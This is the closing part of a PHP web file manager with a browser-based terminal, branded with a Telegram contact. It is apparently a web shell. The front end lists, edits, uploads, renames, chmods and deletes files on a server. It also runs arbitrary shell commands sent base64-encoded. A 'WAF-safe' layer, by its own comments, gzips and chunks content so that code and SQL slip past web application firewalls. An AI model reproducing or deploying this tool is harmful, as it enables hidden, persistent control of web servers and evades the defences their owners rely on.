                <td colspan="5"><?php echo svg_icon('folder'); ?><a href="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($parent_path); ?>">.. <span class="dim" style="font-weight:400">parent directory</span></a></td>
            </tr>
        <?php endif; ?>
        <?php
 foreach($entries as $e): $ext = strtolower(pathinfo($e['name'],PATHINFO_EXTENSION)); $editable = !$e['is_dir']; ?>
            <tr>
                <td><input type="checkbox" class="ck" name="sel[]" value="<?php echo htmlspecialchars($e['name'],ENT_QUOTES); ?>"></td>
                <td class="name-cell">
                    <?php echo svg_icon(icon_for($e['is_dir'], $ext)); ?>
                    <?php if($e['is_dir']): ?>
                        <a class="dir" href="<?php echo $SELF; ?>?goto=<?php echo fm_uenc($e['name']); ?>&dir=<?php echo fm_uenc($current_path); ?>"><?php echo htmlspecialchars($e['name']); ?></a>
                    <?php else: ?>
                        <a href="<?php echo $SELF; ?>?download=<?php echo fm_uenc($e['name']); ?>&dir=<?php echo fm_uenc($current_path); ?>"><?php echo htmlspecialchars($e['name']); ?></a>
                    <?php endif; ?>
                </td>
                <td class="mono dim"><?php echo $e['is_dir'] ? '—' : format_size($e['size']); ?></td>
                <td class="mono"><?php echo perm_to_html($e['perms_str']); ?> <span class="p-sep">·</span> <span class="poct <?php echo $e['writable'] ? 'ok' : 'no'; ?>"><?php echo $e['perms_oct']; ?></span></td>
                <td class="mono dim"><?php echo $e['mtime'] ? date('Y-m-d H:i', $e['mtime']) : '—'; ?></td>
                <td class="actions">
                    <?php if($editable): ?>
                        <a href="<?php echo $SELF; ?>?edit=<?php echo fm_uenc($e['name']); ?>&dir=<?php echo fm_uenc($current_path); ?>">edit</a>
                    <?php endif; ?>
                    <?php if(!$e['is_dir']): ?>
                        <a href="<?php echo $SELF; ?>?download=<?php echo fm_uenc($e['name']); ?>&dir=<?php echo fm_uenc($current_path); ?>">download</a>
                    <?php endif; ?>
                    <button type="button" class="link" onclick="renOne('<?php echo htmlspecialchars($e['name'],ENT_QUOTES); ?>')">rename</button>
                    <button type="button" class="link" onclick="chmOne('<?php echo htmlspecialchars($e['name'],ENT_QUOTES); ?>','<?php echo $e['perms_oct']; ?>')">chmod</button>
                    <button type="button" class="link danger" onclick="delOne('<?php echo htmlspecialchars($e['name'],ENT_QUOTES); ?>')">delete</button>
                </td>
            </tr>
        <?php endforeach; ?>
        <?php if(count($entries)===0): ?>
            <tr><td colspan="6" class="empty">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5"><path d="M4 20h16a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.93a2 2 0 0 1-1.66-.9l-.82-1.2A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13c0 1.1.9 2 2 2Z"/></svg><br>
                this folder is empty</td></tr>
        <?php endif; ?>
        </tbody>
    </table>
    </div>
    </form>

    <?php endif; ?>

    <footer>
        <span class="fpath"><?php echo htmlspecialchars($current_path); ?></span>
        <strong style="letter-spacing:.14em"><?php echo FM_TITLE; ?></strong> · contact →
        <a href="<?php echo FM_TELEGRAM; ?>" target="_blank" rel="noopener">t.me/jellyproject</a>
    </footer>
</main>

<form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>" id="chm-form">
    <input type="hidden" name="a" value="e">
    <input type="hidden" name="name" id="chm-name">
    <input type="hidden" name="mode" id="chm-mode">
</form>
<form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>" id="ren-form">
    <input type="hidden" name="a" value="f">
    <input type="hidden" name="old_name" id="ren-old">
    <input type="hidden" name="new_name" id="ren-new">
</form>
<form method="post" action="<?php echo $SELF; ?>?dir=<?php echo fm_uenc($current_path); ?>" id="del-form">
    <input type="hidden" name="a" value="a">
    <input type="hidden" name="name" id="del-name">
</form>

<script>
function togglePanel(id){var e=document.getElementById(id);e.style.display=e.style.display==='block'?'none':'block';}
function selAll(c){document.querySelectorAll('.ck').forEach(function(x){x.checked=c.checked;});}
function delOne(n){if(confirm('Delete "'+n+'"?')){document.getElementById('del-name').value=n;document.getElementById('del-form').submit();}}
function renOne(n){var v=prompt('New name:',n);if(v&&v!==n){document.getElementById('ren-old').value=n;document.getElementById('ren-new').value=v;document.getElementById('ren-form').submit();}}
function chmOne(n,cur){var v=prompt('New permissions (octal):',cur);if(v!==null&&/^[0-7]{3,4}$/.test(v)){document.getElementById('chm-name').value=n;document.getElementById('chm-mode').value=v;document.getElementById('chm-form').submit();}}

/* ---- virus scanner (resumable, time-sliced) ---- */
var fmScan = { running:false, pos:0, total:0, found:[] };
function fmScanReset(){ fmScan.running=false; fmScan.pos=0; fmScan.total=0; fmScan.found=[]; var c=document.getElementById('scan-clean'); if(c)c.style.display='none'; var s=document.getElementById('scan-stop'); if(s)s.style.display='none'; var p=document.getElementById('scan-progress'); if(p)p.textContent=''; }
function fmScanUrl(){ var f=document.getElementById('scan-form'); return f ? f.getAttribute('action') : document.location.pathname; }
function fmScanProgress(t){ var p=document.getElementById('scan-progress'); if(p) p.textContent=t; }
function fmScanStart(){
  if (fmScan.running) return false;
  var c=document.getElementById('scan-clean'); if(c)c.style.display='none';
  var sb=document.getElementById('scan-stop'); if(sb)sb.style.display='inline-flex';
  fmScan.running=true; fmScan.pos=0; fmScan.found=[];
  var st=document.getElementById('scan-status'), o=document.getElementById('scan-out');
  st.textContent=''; o.innerHTML='<div class="term-pre dim">building file list…</div>';
  fmPost(fmScanUrl(), {a:'m', phase:'start'}).then(function(j){
    if(!j.ok){ fmScan.running=false; if(sb)sb.style.display='none'; o.innerHTML=''; st.textContent=j.msg||'scan failed'; return; }
    fmScan.total=j.total;
    fmScanStep();
  }).catch(function(){ fmScan.running=false; if(sb)sb.style.display='none'; fmScanProgress(''); st.textContent='request failed'; });
  return false;
}
function fmScanStep(){
  if (!fmScan.running) return;
  var pct = fmScan.total ? Math.min(100, Math.round(fmScan.pos/fmScan.total*100)) : 0;
  fmScanProgress(fmScan.pos+' / '+fmScan.total+' ('+pct+'%) · '+fmScan.found.length+' infected');
  fmPost(fmScanUrl(), {a:'m', phase:'step', from:fmScan.pos}).then(function(j){
    if(!j.ok){ fmScan.running=false; fmScanProgress(''); document.getElementById('scan-status').textContent=j.msg||'scan failed'; return; }
    if (j.found && j.found.length) { for (var k=0;k<j.found.length;k++) fmScan.found.push(j.found[k]); }
    fmScan.pos = j.next;
    if (!j.done) { fmScanStep(); } else { fmScanFinish(); }
  }).catch(function(){ fmScan.running=false; fmScanProgress(''); document.getElementById('scan-status').textContent='request failed'; });
}
function fmScanStop(){
  var wasRunning = fmScan.running;
  fmScan.running=false; fmScanProgress('');
  var sb=document.getElementById('scan-stop'); if(sb)sb.style.display='none';
  if (wasRunning) document.getElementById('scan-status').textContent='scan stopped at '+fmScan.pos+' / '+fmScan.total+' files';
  fmPost(fmScanUrl(), {a:'o'});
}
function fmScanFinish(){
  fmScan.running=false; fmScanProgress('');
  var sb=document.getElementById('scan-stop'); if(sb)sb.style.display='none';
  var st=document.getElementById('scan-status'), o=document.getElementById('scan-out');
  st.textContent='done — '+fmScan.pos+' file(s) scanned';
  var h='';
  if (!fmScan.found.length) { h='<div class="term-pre" style="color:#6ee7b7">No infected files found.</div>'; }
  fmScan.found.forEach(function(f){
    h+='<div style="margin:4px 0"><input type="checkbox" class="scan-ck" checked value="'+escTerm(f.path)+'"> <span class="term-code">'+escTerm(String(f.score))+' pts</span> <b>'+escTerm(f.path)+'</b> <span class="dim">'+escTerm(formatSizeScan(f.size))+'</span><br><span class="dim" style="font-size:11px">match: '+escTerm(f.hits.join(' | '))+'</span></div>';
  });
  o.innerHTML=h;
  var c=document.getElementById('scan-clean');
  if(c) c.style.display=fmScan.found.length?'inline-flex':'none';
}
function formatSizeScan(b){var u=['B','KB','MB','GB'],i=0;b=Number(b)||0;while(b>=1024&&i<3){b/=1024;i++;}return Math.round(b*100)/100+' '+u[i];}
function fmScanClean(){
  var cks=[].slice.call(document.querySelectorAll('.scan-ck')).filter(function(c){return c.checked;}).map(function(c){return c.value;});
  if(!cks.length)return;
  if(!confirm('Delete '+cks.length+' infected file(s)? This cannot be undone.'))return;
  var st=document.getElementById('scan-status');st.textContent='deleting…';
  fmPost(fmScanUrl(), {a:'n', files:JSON.stringify(cks)}).then(function(j){
    st.textContent=(j.deleted||0)+' deleted'+(j.failed?', '+j.failed+' failed':'');
    fmScanStart();
  }).catch(function(){st.textContent='request failed';});
}
/* ---- web terminal ---- */
var termHist = [], termHistIdx = 0;
function escTerm(s){return s.replace(/[&<>"']/g,function(c){return {'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c];});}
function termAppend(html){var o=document.getElementById('term-out');o.insertAdjacentHTML('beforeend',html);o.scrollTop=o.scrollHeight;}
function termKey(e){
  var inp=e.target;
  if(e.key==='Enter'){e.preventDefault();var f=document.getElementById('term-form');if(f.requestSubmit)f.requestSubmit();else runTerm();return;}
  if(e.key==='ArrowUp'){e.preventDefault();if(termHistIdx>0){termHistIdx--;inp.value=termHist[termHistIdx];}}
  else if(e.key==='ArrowDown'){e.preventDefault();if(termHistIdx<termHist.length-1){termHistIdx++;inp.value=termHist[termHistIdx];}else{termHistIdx=termHist.length;inp.value='';}}
}
function runTerm(){
  var inp=document.getElementById('term-cmd');
  var cmd=inp.value;
  if(!cmd.trim()) return false;
  termHist.push(cmd); termHistIdx=termHist.length;
  termAppend('<div><span class="term-ps1">'+escTerm(document.getElementById('term-ps1').textContent)+'</span> '+escTerm(cmd)+'</div>');
  inp.value='';
  var st=document.getElementById('term-status'); st.textContent='running…';
  fetch(document.getElementById('term-form').getAttribute('action'), {
    method:'POST', credentials:'same-origin',
    body:new URLSearchParams({a:'k', q:fmB64Bytes(fmUtf8(cmd))})
  }).then(function(r){return r.json();}).then(function(j){
    if(!j.ok){ st.textContent=j.msg||'failed'; return; }
    st.textContent='';
    if(j.out) termAppend('<pre class="term-pre">'+escTerm(j.out)+'</pre>');
    if(j.code!==0) termAppend('<div class="term-code">exit code: '+escTerm(String(j.code))+'</div>');
  }).catch(function(){ st.textContent='request failed'; });
  return false;
}

/* ---- edit content decode (WAF-safe: no raw code in response) ---- */
(function(){var ta=document.getElementById('fm-edit-area');if(!ta||!ta.getAttribute('data-b64'))return;var bin='';try{bin=atob(ta.getAttribute('data-b64'));}catch(e){return;}
try{var u8=new Uint8Array(bin.length);for(var i=0;i<bin.length;i++)u8[i]=bin.charCodeAt(i);ta.value=new TextDecoder('utf-8').decode(u8);}
catch(e){ta.value=decodeURIComponent(escape(bin));}})();

/* ---- WAF-safe transfer layer -------------------------------------------
 * 1) content is gzip-compressed in the browser (CompressionStream) when
 *    available, so code / SQL / magic strings never appear as plaintext
 *    in the request body — plain base64 is the fallback for old browsers
 * 2) the encoded stream is split into small chunks, each sent as its own
 *    urlencoded POST; the server appends and renames atomically at the end
 * 3) if anything fails the old single-request behaviour is used          */
var FM_CHUNK = 96000; /* base64 chars per request, multiple of 4 */

function fmUtf8(s){
  if (window.TextEncoder) return new TextEncoder().encode(s);
  var u = unescape(encodeURIComponent(s)), u8 = new Uint8Array(u.length);
  for (var i = 0; i < u.length; i++) u8[i] = u.charCodeAt(i);
  return u8;
}
function fmB64Bytes(u8){
  var bin = '', CH = 32768;
  for (var i = 0; i < u8.length; i += CH) bin += String.fromCharCode.apply(null, u8.subarray(i, i + CH));
  return btoa(bin);
}
function fmPack(u8){
  if (typeof CompressionStream === 'undefined') return Promise.resolve({enc:'plain', data:fmB64Bytes(u8)});
  try {
    var s = new Blob([u8]).stream().pipeThrough(new CompressionStream('gzip'));
    return new Response(s).arrayBuffer().then(function(buf){
      return {enc:'gzip', data:fmB64Bytes(new Uint8Array(buf))};
    });
  } catch(e) {
    return Promise.resolve({enc:'plain', data:fmB64Bytes(u8)});
  }
}
function fmPost(url, params){
  return fetch(url, {method:'POST', body:new URLSearchParams(params), credentials:'same-origin'})
    .then(function(r){ return r.json(); });
}
function fmSendChunked(url, meta, payload, cb){
  var total = Math.max(1, Math.ceil(payload.data.length / FM_CHUNK));
  var i = 0;
  function step(){
    if (i >= total) return Promise.resolve();
    cb('chunk ' + (i + 1) + '/' + total);
    var p = {a:meta.a, name:meta.name, index:i, total:total, enc:payload.enc,
             data:payload.data.substr(i * FM_CHUNK, FM_CHUNK)};
    if (meta.upid) p.upid = meta.upid;
    return fmPost(url, p).then(function(j){
      if (!j.ok) throw new Error(j.msg || 'failed');
      i++;
      return step();
    });
  }
  return step();
}
function encEdit(f){
  if (f.dataset.busy) return false;
  f.dataset.busy = '1';
  var st = document.getElementById('fm-save-status');
  var name = f.elements.name.value;
  var url = f.getAttribute('action');
  var content = f.elements.content.value;
  if (st) st.textContent = 'packing…';
  fmPack(fmUtf8(content)).then(function(p){
    return fmSendChunked(url, {a:'i', name:name}, p, function(s){ if (st) st.textContent = s; });
  }).then(function(){
    if (st) st.textContent = 'saved ✓';
    location.reload();
  }).catch(function(){
    /* fallback: one single base64 post, like before */
    f.dataset.busy = '';
    var i = document.createElement('input'); i.type = 'hidden'; i.name = 'b64'; i.value = '1'; f.appendChild(i);
    f.elements.content.value = fmB64Bytes(fmUtf8(content));
    f.submit();
  });
  return false;
}
function fmUpload(f){
  if (f.dataset.busy) return false;
  var files = f.querySelector('input[type=file]').files;
  if (!files.length) return false;
  f.dataset.busy = '1';
  var st = document.getElementById('fm-up-status');
  var url = f.getAttribute('action');
  var chain = Promise.resolve();
  Array.prototype.forEach.call(files, function(file){
    chain = chain.then(function(){
      if (st) st.textContent = file.name + ' …';
      return new Promise(function(res, rej){
        var fr = new FileReader();
        fr.onload = function(){ res(new Uint8Array(fr.result)); };
        fr.onerror = function(){ rej(new Error('read failed')); };
        fr.readAsArrayBuffer(file);
      }).then(function(u8){
        var upid = Math.random().toString(36).slice(2, 12);
        return fmPack(u8).then(function(p){
          return fmSendChunked(url, {a:'j', name:file.name, upid:upid}, p,
            function(s){ if (st) st.textContent = file.name + ' ' + s; });
        });
      });
    });
  });
  chain.then(function(){
    if (st) st.textContent = 'upload complete ✓';
    location.reload();
  }).catch(function(){
    /* fallback: classic multipart submit (overwrites any partial temp) */
    f.dataset.busy = '';
    f.submit();
  });
  return false;
}
</script>
</body>
</html>
